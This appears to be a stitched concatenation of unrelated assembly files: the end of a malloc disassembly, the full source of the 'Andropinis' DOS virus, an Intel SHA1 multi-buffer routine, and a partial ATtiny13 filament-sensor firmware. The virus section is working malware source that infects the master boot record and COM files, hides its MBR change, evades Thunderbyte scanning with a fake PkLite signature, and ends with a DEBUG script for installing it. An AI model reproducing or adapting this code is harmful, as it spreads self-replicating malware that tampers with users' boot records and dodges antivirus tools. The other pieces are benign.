7a2: 8b 45 f4 mov -0xc(%ebp),%eax
7a5: 8b 40 04 mov 0x4(%eax),%eax
7a8: 3b 45 ec cmp -0x14(%ebp),%eax
7ab: 75 0c jne 7b9 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
7ad: 8b 45 f4 mov -0xc(%ebp),%eax
7b0: 8b 10 mov (%eax),%edx
7b2: 8b 45 f0 mov -0x10(%ebp),%eax
7b5: 89 10 mov %edx,(%eax)
7b7: eb 26 jmp 7df <malloc+0x96>
else {
p->s.size -= nunits;
7b9: 8b 45 f4 mov -0xc(%ebp),%eax
7bc: 8b 40 04 mov 0x4(%eax),%eax
7bf: 2b 45 ec sub -0x14(%ebp),%eax
7c2: 89 c2 mov %eax,%edx
7c4: 8b 45 f4 mov -0xc(%ebp),%eax
7c7: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
7ca: 8b 45 f4 mov -0xc(%ebp),%eax
7cd: 8b 40 04 mov 0x4(%eax),%eax
7d0: c1 e0 03 shl $0x3,%eax
7d3: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
7d6: 8b 45 f4 mov -0xc(%ebp),%eax
7d9: 8b 55 ec mov -0x14(%ebp),%edx
7dc: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
7df: 8b 45 f0 mov -0x10(%ebp),%eax
7e2: a3 c8 0a 00 00 mov %eax,0xac8
return (void*)(p + 1);
7e7: 8b 45 f4 mov -0xc(%ebp),%eax
7ea: 83 c0 08 add $0x8,%eax
7ed: eb 3b jmp 82a <malloc+0xe1>
}
if(p == freep)
7ef: a1 c8 0a 00 00 mov 0xac8,%eax
7f4: 39 45 f4 cmp %eax,-0xc(%ebp)
7f7: 75 1e jne 817 <malloc+0xce>
if((p = morecore(nunits)) == 0)
7f9: 83 ec 0c sub $0xc,%esp
7fc: ff 75 ec pushl -0x14(%ebp)
7ff: e8 e5 fe ff ff call 6e9 <morecore>
804: 83 c4 10 add $0x10,%esp
807: 89 45 f4 mov %eax,-0xc(%ebp)
80a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80e: 75 07 jne 817 <malloc+0xce>
return 0;
810: b8 00 00 00 00 mov $0x0,%eax
815: eb 13 jmp 82a <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
817: 8b 45 f4 mov -0xc(%ebp),%eax
81a: 89 45 f0 mov %eax,-0x10(%ebp)
81d: 8b 45 f4 mov -0xc(%ebp),%eax
820: 8b 00 mov (%eax),%eax
822: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
825: e9 6d ff ff ff jmp 797 <malloc+0x4e>
}
82a: c9 leave
82b: c3 ret
|
;******************************************************************************
;
; Virus name : Andropinis
; Author : Rajaat
; Origin : United Kingdom, March 1995
; Compiling : Using TASM | Using A86
; |
; TASM /M2 ANDROPIN.ASM | A86 ANDROPIN.ASM
; TLINK ANDROPIN |
; EXE2BIN ANDROPIN |
; Installing : Place the produced BIN file at cylinder 0, head 0, sector 2
; Modify the partition record to point to this code
; (a debug script is provided at the end of this source)
; Targets : Master Boot Record & COM files
; Size : 512 bytes
; Polymorphic : No
; Encrypted : No
; Stealth : Full Stealth on Master Boot Record
; Tunneling : No - is not needed if started from Master boot record
; Retrovirus : No
; Antiheuristics: Yes - for TBAV
; Peculiarities : Infects MBR by modifying 2 bytes
; Uses SFT's to infect COM files
; Avoids Thunderbyte Antivirus using a 2 byte signature!
; Behaviour : When an infected COM file is run, the virus will not become
; resident, but will first infect the master boot record. It
; does its work in a very peculiar way. It modifies the
; 1st partition record with the result that it points to
; cylinder 0, head 0, sector 2. The viral bootsector will be
; stored there. The next time when a system is booted,
; Andropinis will become resident in high memory, but below
; the top of memory. Programs like CHKDSK.EXE will show a
; decrease in system memory of 1024 bytes. The virus will hook
; interrupt 13 at this time and wait till interrupt 21 is
; captured 3 times. Andropinis will then take interrupt 21
; itself. The virus is now stealth on the master boot record,
; only modifying the pointer to the bootsector in memory when
; the master boot record is read. The virus will infect COM
; files when copied, therefore not needing a critical interrupt
; handler. Andropinis will only infect COM files when they are
; between 4095 and 61441 bytes. Infected files will begin with
; a PUSH AX, DEC BX, NOP and a near jump to the virus code.
; The first 2 instructions will cause the Thunderbyte scanner
; to avoid the file. It thinks it's processed with PkLite! f
; Even the "ex"tract option doesn't work and gives back a "N/A"
; for every infected file. F-PROT detects nothing, except when
; the /ANALYSE option is used. AVP gives a virus "Type Boot"
; suspicion. How true that is. The weak point of the virus is
; its lack of protection in infected COM files, so it relies on
; the fact that the Master Boot Record infection isn't visible.
; Tai-Pan spread also far, and was even more simplistic than
; Andropinis, with the exception that is infected the more
; common filetype, the EXE file. The virus doesn't do any
; intended harm, as Patty would say :
; "It's unknown what this virus does besides replicate."
; Yoho's : VLAD, Immortal Riot, Phalcon/Skism, [NuKE],
; and all other virus writers that exist.
;
;******************************************************************************
.model tiny ; this must become a BIN file
.code ; let's start with the code, ok
.radix 16 ; safe hex
org 0 ; throw it in the bin
;******************************************************************************
; Viral boot sector
;******************************************************************************
virus: xor bx,bx ; initialise stack and data
cli ; segment
mov ss,bx ;
mov ds,bx ;
mov sp,7c00 ;
push sp ;
sti ;
mov si,413 ; steal some memory from the
dec word ptr [si] ; top
lodsw ;
mov cl,6 ; calculate free segment for
shl ax,cl ; virus
mov es,ax ;
pop si
mov di,bx ; push data for a far jump to
push di ; the virus code in high memory
push es ;
lea ax,init_resident ;
push ax ;
mov cx,100 ; move the code to high memory
move_boot: movsw ; this doesn't trigger tbav
loop move_boot ;
retf ; return to the address pushed
;******************************************************************************
; the following piece of code is executed in high memory
;******************************************************************************
init_resident: mov byte ptr cs:hook_21_flag,0 ; reset int 21 hook flag
lea di,old_13 ; store old int 13 vector and
mov si,4*13 ; replace it with our new
lea ax,new_13 ; handler
xchg ax,[si] ;
stosw ;
mov ax,cs ;
xchg ax,[si+2] ;
stosw ;
mov si,4*21 ; store new address to int 21
lea ax,new_21 ; vector
xchg ax,[si] ;
mov ax,cs ;
xchg ax,[si+2] ;
pop es ; read the original bootsector
push es ; and execute it
mov ax,0201 ;
mov dx,180 ;
mov cx,1 ;
mov bx,7c00 ;
push bx ;
int 13h ;
retf ;
;******************************************************************************
; new int 13 handler
;******************************************************************************
new_13: cmp ax,5001 ; installation check
jne no_inst_check ;
xchg ah,al ;
iret
no_inst_check: cmp ah,2 ; check if partition sector
jne no_stealth ; is read. if not, there's
cmp dx,80 ; no need to use stealth
jne no_stealth ;
cmp cx,1 ;
jne no_stealth ;
pushf ; perform read action, and
call dword ptr cs:[old_13] ; go to stealth_mbr if no error
jnc stealth_mbr ; occured
retf 2 ;
stealth_mbr: cmp word ptr es:1bf[bx],200 ; is the virus active?
jne not_infected ; no, goto not_infected
mov word ptr es:1bf[bx],0101 ; stealth virus
not_infected: iret ;
no_stealth: cmp byte ptr cs:[hook_21_flag],3; if this is try 3 to get int
je eoi_13 ; 21, get lost to eoi_13
push ax ; preserve these
push ds ;
xor ax,ax ; is int 21 changed?
mov ds,ax ;
mov ax,cs ;
cmp ax,word ptr ds:[4*21+2] ;
je int_21_ok ; no, int 21 is ok
inc byte ptr cs:[hook_21_flag] ; increase the hook int 21 flag
lea ax,new_21 ; capture int 21 and store
xchg ax,ds:[4*21] ; the old vector
mov word ptr cs:old_21,ax ;
mov ax,cs ;
xchg ax,ds:[4*21+2] ;
mov word ptr cs:old_21[2],ax ;
int_21_ok: pop ds ; get these back
pop ax ;
eoi_13: jmp dword ptr cs:[old_13] ; chain to old int 13
;******************************************************************************
; new int 21 handler
;******************************************************************************
new_21: cmp ah,40 ; is a write command performed?
je write_to_file ; yeah, write_to_file
eoi_21: jmp dword ptr cs:[old_21] ; chain to old int 21
write_to_file: push ax ; preserve some registers
push bx ;
push dx ;
push di ;
push es ;
mov ax,4400 ; check if the write belongs
int 21 ; to a device
test dl,80 ;
jnz not_suitable ;
mov ax,1220 ; find file handle table that
int 2f ; belongs to the handle in bx
mov bl,byte ptr es:[di] ;
mov ax,1216 ;
int 2f ;
mov bx,2020 ; check if the file has a com
mov ax,word ptr es:[di+28] ; extension
or ax,bx ;
cmp ax,'oc' ;
jne not_suitable ;
mov al,byte ptr es:[di+2a] ;
or al,bl ;
cmp al,'m' ;
jne not_suitable ;
cmp word ptr es:[di+11],0 ; check if file length is
jne not_suitable ; zero
cmp cx,1000 ; check if piece of code is
jb not_suitable ; not too short or too long
cmp cx,0f000 ;
ja not_suitable ;
pop es ; these registers are done
pop di ;
pop dx ;
mov bx,dx ; check if the file is a
cmp word ptr ds:[bx],'ZM' ; renamed exe file
je is_renamed_exe ;
cmp word ptr ds:[bx+2],0e990 ; check if already infected
jne infect_com ;
jmp is_renamed_exe
not_suitable: pop es ; done with this interrupt
pop di ; service routine, so chain
pop dx ; to the old 21 routine
is_renamed_exe: pop bx ;
pop ax ;
jmp eoi_21 ;
;******************************************************************************
; piece of code that infects a COM file
;******************************************************************************
infect_com: pop bx ; this register was done
push cx ; get the first 6 bytes of the
push si ; host and overwrite them with
add cx,offset com_entry-6 ; the new bytes. it places a
mov si,dx ; nifty piece of code to
mov ax,'KP' ; render tbscans heuristics
xchg word ptr [si],ax ; useless. the PUSH AX, DEC BX
mov word ptr cs:org_com,ax ; (PK) in the begin of the
lodsw ; program makes tbscan think
mov ax,0e990 ; it is a PkLite compressed
xchg word ptr ds:[si],ax ; file and will skip it!
mov word ptr cs:org_com+2,ax ;
lodsw ;
xchg word ptr ds:[si],cx ;
mov word ptr cs:org_com+4,cx ;
pop si ;
pop cx ;
pop ax ; perform original write
pushf ; command
call dword ptr cs:[old_21] ;
push ax ; and append the virus at the
push cx ; end of the file
push dx ;
push ds ;
push cs ;
pop ds ;
mov ah,40 ;
mov cx,virus_length_b ;
lea dx,virus ;
pushf ;
call dword ptr cs:[old_21] ;
pop ds ;
pop dx ;
pop cx ;
pop ax ;
retf 2 ;
;******************************************************************************
; this gets executed by an infected COM file
;******************************************************************************
com_entry: call get_offset ; old hat for getting the
get_offset: pop bp ; delta offset
sub bp,offset get_offset ;
mov ax,5001 ; if the virus is resident it
int 13 ; doesn't need to infect the
cmp ax,0150 ; master boot record
je is_active ;
mov ax,0201 ; read master boot record.
lea bx,heap[bp] ; if an error occured, goto
mov cx,1 ; is_active
mov dx,80 ;
int 13 ;
jc is_active ;
cmp word ptr [bx+1be+1],0101 ; test if the partition begins
jne is_active ; at the normal sector
test byte ptr [bx+1be],80 ; test of the partition is
jz is_active ; bootable
mov al,byte ptr [bx+1be+4] ; test if the partition type
cmp al,4 ; is ok
jb is_active ;
cmp al,6 ;
ja is_active ;
mov word ptr [bx+1be+1],200 ; change pointer to virus code
mov ax,0301 ; write back the master boot
push ax ; record. quit if error
int 13 ; occured
pop ax ;
jc is_active ;
inc cx ; write virus to sector 2
lea bx,virus[bp] ; (right behind the mbr)
int 13 ;
is_active: lea si,org_com[bp] ; restore beginning of the
mov di,100 ; host and execute it
pop ax ;
push cs ;
push di ;
movsw ;
movsw ;
movsw ;
retf ;
;******************************************************************************
; some data used by the virus
;******************************************************************************
db '[Andropinis]' ; my childs name
db ' by Rajaat',0 ; my name
org 1fe ; for the bootsector
db 55,0aa ; boot signature
;******************************************************************************
; the things below aren't copied into the viral boot sector, only in COM files
;******************************************************************************
org_com equ $ ; original program data
heap equ $+6 ; memory for data
virus_length_b equ heap-virus ; who says size doesn't count?
virus_length_s equ (virus_length_b+1ff) / 200 ;
virus_length_k equ (virus_length_b+3ff) / 400 ;
old_13 equ heap+6 ; old int 13 vector
old_21 equ heap+0a ; old int 21 vector
hook_21_flag equ heap+0e ; int 21 hook flag
end virus ; the end complete
end ;
;******************************************************************************
; remove the piece below if you use A86 instead of TASM, because it will
; choke on it
--- debug script for installing the Andropinis virus ---
install with
DEBUG ANDROPIN.BIN < scriptname
where scriptname is the name that you give to the mess below
--- cut here ---
m 100 l200 1000
a
mov ax,0201
mov bx,800
mov cx,1
mov dx,80
int 13
mov si,9bf
mov word ptr [si],200
mov ax,0301
mov dx,80
int 13
mov ax,0301
mov bx,1000
inc cx
int 13
int 20
g
q
--- cut here ---
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2016 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%include "sha1_job.asm"
%include "sha1_mb_mgr_datastruct.asm"
%include "reg_sizes.asm"
extern sha1_mb_x8_avx2
extern sha1_opt_x1
default rel
%ifidn __OUTPUT_FORMAT__, elf64
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; LINUX register definitions
%define arg1 rdi ; rcx
%define arg2 rsi ; rdx
%define tmp4 rdx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%else
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; WINDOWS register definitions
%define arg1 rcx
%define arg2 rdx
%define tmp4 rsi
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%endif
; Common register definitions
%define state arg1
%define job arg2
%define len2 arg2
; idx must be a register not clobberred by sha1_mb_x8_avx2 and sha1_opt_x1
%define idx rbp
%define unused_lanes rbx
%define lane_data rbx
%define tmp2 rbx
%define job_rax rax
%define tmp1 rax
%define size_offset rax
%define tmp rax
%define start_offset rax
%define tmp3 arg1
%define extra_blocks arg2
%define p arg2
; STACK_SPACE needs to be an odd multiple of 8
_XMM_SAVE_SIZE equ 10*16
_GPR_SAVE_SIZE equ 8*8
_ALIGN_SIZE equ 8
_XMM_SAVE equ 0
_GPR_SAVE equ _XMM_SAVE + _XMM_SAVE_SIZE
STACK_SPACE equ _GPR_SAVE + _GPR_SAVE_SIZE + _ALIGN_SIZE
%define APPEND(a,b) a %+ b
; SHA1_JOB* sha1_mb_mgr_flush_avx2(SHA1_MB_JOB_MGR *state)
; arg 1 : rcx : state
global sha1_mb_mgr_flush_avx2:function
sha1_mb_mgr_flush_avx2:
sub rsp, STACK_SPACE
mov [rsp + _GPR_SAVE + 8*0], rbx
mov [rsp + _GPR_SAVE + 8*3], rbp
mov [rsp + _GPR_SAVE + 8*4], r12
mov [rsp + _GPR_SAVE + 8*5], r13
mov [rsp + _GPR_SAVE + 8*6], r14
mov [rsp + _GPR_SAVE + 8*7], r15
%ifidn __OUTPUT_FORMAT__, win64
mov [rsp + _GPR_SAVE + 8*1], rsi
mov [rsp + _GPR_SAVE + 8*2], rdi
vmovdqa [rsp + _XMM_SAVE + 16*0], xmm6
vmovdqa [rsp + _XMM_SAVE + 16*1], xmm7
vmovdqa [rsp + _XMM_SAVE + 16*2], xmm8
vmovdqa [rsp + _XMM_SAVE + 16*3], xmm9
vmovdqa [rsp + _XMM_SAVE + 16*4], xmm10
vmovdqa [rsp + _XMM_SAVE + 16*5], xmm11
vmovdqa [rsp + _XMM_SAVE + 16*6], xmm12
vmovdqa [rsp + _XMM_SAVE + 16*7], xmm13
vmovdqa [rsp + _XMM_SAVE + 16*8], xmm14
vmovdqa [rsp + _XMM_SAVE + 16*9], xmm15
%endif
; use num_lanes_inuse to judge all lanes are empty
cmp dword [state + _num_lanes_inuse], 0
jz return_null
; find a lane with a non-null job
xor idx, idx
cmp qword [state + _ldata + 1 * _LANE_DATA_size + _job_in_lane], 0
cmovne idx, [one]
cmp qword [state + _ldata + 2 * _LANE_DATA_size + _job_in_lane], 0
cmovne idx, [two]
cmp qword [state + _ldata + 3 * _LANE_DATA_size + _job_in_lane], 0
cmovne idx, [three]
cmp qword [state + _ldata + 4 * _LANE_DATA_size + _job_in_lane], 0
cmovne idx, [four]
cmp qword [state + _ldata + 5 * _LANE_DATA_size + _job_in_lane], 0
cmovne idx, [five]
cmp qword [state + _ldata + 6 * _LANE_DATA_size + _job_in_lane], 0
cmovne idx, [six]
cmp qword [state + _ldata + 7 * _LANE_DATA_size + _job_in_lane], 0
cmovne idx, [seven]
; copy idx to empty lanes
copy_lane_data:
mov tmp, [state + _args + _data_ptr + 8*idx]
%assign I 0
%rep 8
cmp qword [state + _ldata + I * _LANE_DATA_size + _job_in_lane], 0
jne APPEND(skip_,I)
mov [state + _args + _data_ptr + 8*I], tmp
mov dword [state + _lens + 4*I], 0xFFFFFFFF
APPEND(skip_,I):
%assign I (I+1)
%endrep
; Find min length
vmovdqa xmm0, [state + _lens + 0*16]
vmovdqa xmm1, [state + _lens + 1*16]
vpminud xmm2, xmm0, xmm1 ; xmm2 has {D,C,B,A}
vpalignr xmm3, xmm3, xmm2, 8 ; xmm3 has {x,x,D,C}
vpminud xmm2, xmm2, xmm3 ; xmm2 has {x,x,E,F}
vpalignr xmm3, xmm3, xmm2, 4 ; xmm3 has {x,x,x,E}
vpminud xmm2, xmm2, xmm3 ; xmm2 has min value in low dword
vmovd DWORD(idx), xmm2
mov len2, idx
and idx, 0xF
shr len2, 4
jz len_is_0
; compare with sha-sb threshold, if num_lanes_inuse <= threshold, using sb func
cmp dword [state + _num_lanes_inuse], SHA1_SB_THRESHOLD_AVX2
ja mb_processing
; lensN-len2=idx
mov [state + _lens + idx*4], DWORD(idx)
mov r10, idx
or r10, 0x2000 ; avx2 has 8 lanes *4, r10b is idx, r10b2 is 32
; "state" and "args" are the same address, arg1
; len is arg2, idx and nlane in r10
call sha1_opt_x1
; state and idx are intact
jmp len_is_0
mb_processing:
vpand xmm2, xmm2, [rel clear_low_nibble]
vpshufd xmm2, xmm2, 0
vpsubd xmm0, xmm0, xmm2
vpsubd xmm1, xmm1, xmm2
vmovdqa [state + _lens + 0*16], xmm0
vmovdqa [state + _lens + 1*16], xmm1
; "state" and "args" are the same address, arg1
; len is arg2
call sha1_mb_x8_avx2
; state and idx are intact
len_is_0:
; process completed job "idx"
imul lane_data, idx, _LANE_DATA_size
lea lane_data, [state + _ldata + lane_data]
mov job_rax, [lane_data + _job_in_lane]
mov qword [lane_data + _job_in_lane], 0
mov dword [job_rax + _status], STS_COMPLETED
mov unused_lanes, [state + _unused_lanes]
shl unused_lanes, 4
or unused_lanes, idx
mov [state + _unused_lanes], unused_lanes
sub dword [state + _num_lanes_inuse], 1
vmovd xmm0, [state + _args_digest + 4*idx + 0*32]
vpinsrd xmm0, [state + _args_digest + 4*idx + 1*32], 1
vpinsrd xmm0, [state + _args_digest + 4*idx + 2*32], 2
vpinsrd xmm0, [state + _args_digest + 4*idx + 3*32], 3
mov DWORD(tmp2), [state + _args_digest + 4*idx + 4*32]
vmovdqa [job_rax + _result_digest + 0*16], xmm0
mov [job_rax + _result_digest + 1*16], DWORD(tmp2)
return:
%ifidn __OUTPUT_FORMAT__, win64
vmovdqa xmm6, [rsp + _XMM_SAVE + 16*0]
vmovdqa xmm7, [rsp + _XMM_SAVE + 16*1]
vmovdqa xmm8, [rsp + _XMM_SAVE + 16*2]
vmovdqa xmm9, [rsp + _XMM_SAVE + 16*3]
vmovdqa xmm10, [rsp + _XMM_SAVE + 16*4]
vmovdqa xmm11, [rsp + _XMM_SAVE + 16*5]
vmovdqa xmm12, [rsp + _XMM_SAVE + 16*6]
vmovdqa xmm13, [rsp + _XMM_SAVE + 16*7]
vmovdqa xmm14, [rsp + _XMM_SAVE + 16*8]
vmovdqa xmm15, [rsp + _XMM_SAVE + 16*9]
mov rsi, [rsp + _GPR_SAVE + 8*1]
mov rdi, [rsp + _GPR_SAVE + 8*2]
%endif
mov rbx, [rsp + _GPR_SAVE + 8*0]
mov rbp, [rsp + _GPR_SAVE + 8*3]
mov r12, [rsp + _GPR_SAVE + 8*4]
mov r13, [rsp + _GPR_SAVE + 8*5]
mov r14, [rsp + _GPR_SAVE + 8*6]
mov r15, [rsp + _GPR_SAVE + 8*7]
add rsp, STACK_SPACE
ret
return_null:
xor job_rax, job_rax
jmp return
section .data align=16
align 16
clear_low_nibble:
dq 0x00000000FFFFFFF0, 0x0000000000000000
one: dq 1
two: dq 2
three: dq 3
four: dq 4
five: dq 5
six: dq 6
seven: dq 7
|
;filaSense.asm V0.7 201007 qrt@qland.de
;
;ATTINY13 - - - - - - - - - - - - - - - - - - - - - - - - - -
;fuse bits 43210 high
;SELFPRGEN 1|||| (default off)
;DWEN 1||| (default off)
;BODLEVEL1..0 11| (default off) (drains power in sleep mode)
;RSTDISBL 1 (default off)
; 11111
;
;fuse bits 76543210 low
;SPIEN 0||||||| (default on)
;EESAVE 1|||||| (default off)
;WDTON 1||||| (default off) (watchdog force system reset mode)
;CKDIV8 1|||| no clock div during startup
;SUT1..0 10|| 64 ms + 14 CK startup (default)
;CKSEL1..0 01 4.8 MHz system clock
; 01111001
;-------------------------------------------------------------------------------
;V0.5 mid level capacitor
;V0.6 soft mid level
;V0.7 logic define
;todo
;-------------------------------------------------------------------------------
;.device ATtiny13
.include "tn13def.inc"
;-------------------------------------------------------------------------------
.define LOGIC 0 ;0 LOW, 1 HIGH = means detection
;-------------------------------------------------------------------------------
.cseg
.org $0000
rjmp main ;Reset Handler
;.org $0001
;rjmp EXT_INT0 ;External Interrupt0 Handler
;.org $0002
;rjmp PCINT0 ;Pin Change Interrrupt Handler
;.org $0003
;rjmp TIM0_OVF ;Timer0 Overflow Handler
;.org $0004
;rjmp EE_RDY ;EEPROM Ready Handler
;.org $0005
;rjmp ANA_COMP ;Analog Comparator Handler
;.org $0006
;rjmp TIM0_COMPA ;Timer0 Compare A
;.org $0007
;rjmp TIM0_COMPB ;Timer0 CompareB Handler
;.org $0008
;rjmp WATCHDOG ;Watchdog Interrupt Handler
;.org $0009
;rjmp ADC ;ADC Conversion Handler
;-------------------------------------------------------------------------------
.def a0 = r0 ;main registers set a
.def a1 = r1
.def a2 = r2
.def a3 = r3
.def a4 = r16 ;main registers set a immediate
.def a5 = r17
.def a6 = r18
.def a7 = r19
.def FLAGR = r29 ;flag register YH
.def NULR = r31 ;NULL value register ZH
;-------------------------------------------------------------------------------
.def sumFL = r4 ;fast average
.def sumFH = r5
.def avgF = r6
.def sumSL = r7 ;slow mid average
.def sumSH = r8
.def avgS = r9
.def ledbt = r20 ;led blinc ticker
.def slsc = r21 ;slow service counter
.def thclo = r10 ;min threshold row counter low
.def thchi = r11 ; high
.def foscL = r24 ;filament out signal counter
.def foscH = r25
;-------------------------------------------------------------------------------
;abused IO registers
.equ FLAGS0 = ACSR ;flags 0
.equ UNUF00 = ACIS0 ;unused
.equ UNUF01 = ACIS1 ;
.equ FLAGS1 = WDTCR ;flags 1
.equ UNUF10 = WDP0 ;unused
.equ UNUF11 = WDP1 ;
.equ UNUF12 = WDP2 ;
;flags in FLAGR
.equ DETOFF = 0 ;detection off
.equ FIOUM = 1 ;filament out memo
.equ KEYPR = 2 ;key pressed memo
;-------------------------------------------------------------------------------
.equ CTRP = PORTB ;control port
.equ CTRD = DDRB ; ddr
.equ CTRI = PINB ; pinport
.equ FOUT = PINB0 ; filament out out (MOSI)
.equ KEY = PINB1 ; key (MISO)
.equ UNUP2 = PINB2 ; unused (SCK)
.equ LED = PINB3 ; LED out
.equ ADIN = PINB4 ; AD input in (ADC2)
.equ UNUP5 = PINB5 ; unused (RESET)
; ..-al-ko a adin, l led, k key, o fout
; ..-IO-IO I input, O output, . not present, - unused
.equ DDRBM = 0b00001001
.if LOGIC == 0
; ..-NH-PH L low, H high, P pullup, N no pullup
.equ PORTBM = 0b00001010
.elif LOGIC == 1
; ..-NH-PL
.equ PORTBM = 0b00001010
.endif
;-------------------------------------------------------------------------------
;AD frequency (10 bit, target 50..200 kHz) 4.8E6 / 64 = 75E-3
;conversion time 75E3^-1 * 13 = 173.333 us (ct)
;
.equ ADMUXC = (1<<ADLAR|1<<MUX1) ;left adjust, ADC2 PB4, Ref Vcc
.equ ADCSRAC = (1<<ADEN|1<<ADSC|1<<ADATE|1<<ADPS2|1<<ADPS1) ;ADC enable, start, auto (free running -> ADSCRB), div 64
.equ DIDR0C = (1<<ADC2D) ;ADC2 digital input buffer off
.equ FOSDU = 11538 ;2 s / ct filament out signal duration
.equ SLSCY = 22 ;t = SLSCY * ct * 256 slow service cycle
.equ ADVTH = 32 ;1 AD = 5/255 = 1/51 ~ 0.0196 V
.equ MINTHR = 4 ;min threshold row
;-------------------------------------------------------------------------------
main:
ldi a4,low(RAMEND) ;set stack pointer
out SPL,a4 ;to top of RAM
ldi a4,PORTBM ;port B
out PORTB,a4
ldi a4,DDRBM ;ddr B
out DDRB,a4
sbi ACSR,ACD ;comparator off
;- - - - - - - - - - - - - - - - - - - -
clr NULR ;init NULR (ZH)
ldi ZL,29 ;reset registers
st Z,NULR ;store indirect
dec ZL ;decrement address
brpl PC-2 ;r0..29 = 0, ZL = $ff, ZH = 0 (NULR)
ldi ZL,low(SRAM_START) ;clear SRAM
st Z+,NULR
cpi ZL,low(RAMEND)
brne PC-2
ldi slsc,SLSCY ;init slow average loop counter
ldi foscL,low(FOSDU/2) ;set signal counter
ldi foscH,high(FOSDU/2)
;- - - - - - - - - - - - - - - - - - - -
ldi a4,ADMUXC ;config ADC
out ADMUX,a4
ldi a4,DIDR0C
out DIDR0,a4
ldi a4,ADCSRAC
out ADCSRA,a4
; sei ;no IRs used
rcall delay40ms ;settle Vcc + capacitors
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
m00: sbis ADCSRA,ADIF ;new ADC value?
rjmp m00 ;no, wait
rcall avgFast ;average fast
;- - - - - - - - - - - - - - - - - - - -
dec slsc ;slow service?
brne m01 ;no, jump
rcall avgSlow ;average slow
rcall keyLed ;key and LED
ldi slsc,SLSCY ;reinit slow service counter
;- - - - - - - - - - - - - - - - - - - -
m01: rcall filOutSig ;filament out signal
brne PC+2 ;no detection check while counter running
rcall detCheck ;detection check
rjmp m00 ;main loop
;-------------------------------------------------------------------------------
avgFast:
in a4,ADCH ;read ADC, left adjusted
sbi ADCSRA,ADIF ;reset ADC IR flag
tst avgF ;init fast average
brne PC+3
mov sumFH,a4
rjmp PC+5
add sumFL,a4 ;fast average 173 us cycle
adc sumFH,NULR
sub sumFL,avgF
sbc sumFH,NULR
mov avgF,sumFH ;/ 256 -> 44.372 ms average
ret
;-------------------------------------------------------------------------------
avgSlow:
tst avgS ;init slow average
brne PC+3
mov sumSH,avgF
rjmp PC+5
add sumSL,avgF ;slow average
adc sumSH,NULR
sub sumSL,avgS
sbc sumSH,NULR
mov avgS,sumSH ;/ 256
ret
;-------------------------------------------------------------------------------
keyLed:
sbic CTRI,KEY ;key released?
rjmp keyRel ;yes, jump
keyPre: ori FLAGR,(1<<KEYPR) ;set flag
rjmp lh01 ;LED handling
keyRel: sbrs FLAGR,KEYPR ;key was pressed?
rjmp lh01 ;no, LED handling
sbrs FLAGR,FIOUM ;filament out memo?
rjmp kr01 ;no, jump
andi FLAGR,~(1<<FIOUM) ;reset flag
.if LOGIC == 0
sbi CTRP,FOUT ;filament ok, pin H
.elif LOGIC == 1
cbi CTRP,FOUT ;filament ok, pin L
.endif
rjmp kr09
kr01: ldi a4,(1<<DETOFF) ;toggle detection on/off
eor FLAGR,a4 ;
kr09: andi FLAGR,~(1<<KEYPR) ;reset key press flag
;- - - - - - - - - - - - - - - - - - - -
lh01: ldi a5,0b00000000 ;detection on --------
sbrc FLAGR,DETOFF ;detection off -.......
ldi a5,0b11111110
sbrc FLAGR,FIOUM ;filament out memo ----....
ldi a5,0b10000000
inc ledbt ;led blinc ticker ++
mov a4,ledbt ;copy ticker
and a4,a5 ;blinc pattern
cp a4,a5
breq PC+3
cbi CTRP,LED ;LED off
ret
sbi CTRP,LED ;LED on
ret ;exit
;-------------------------------------------------------------------------------
filOutSig:
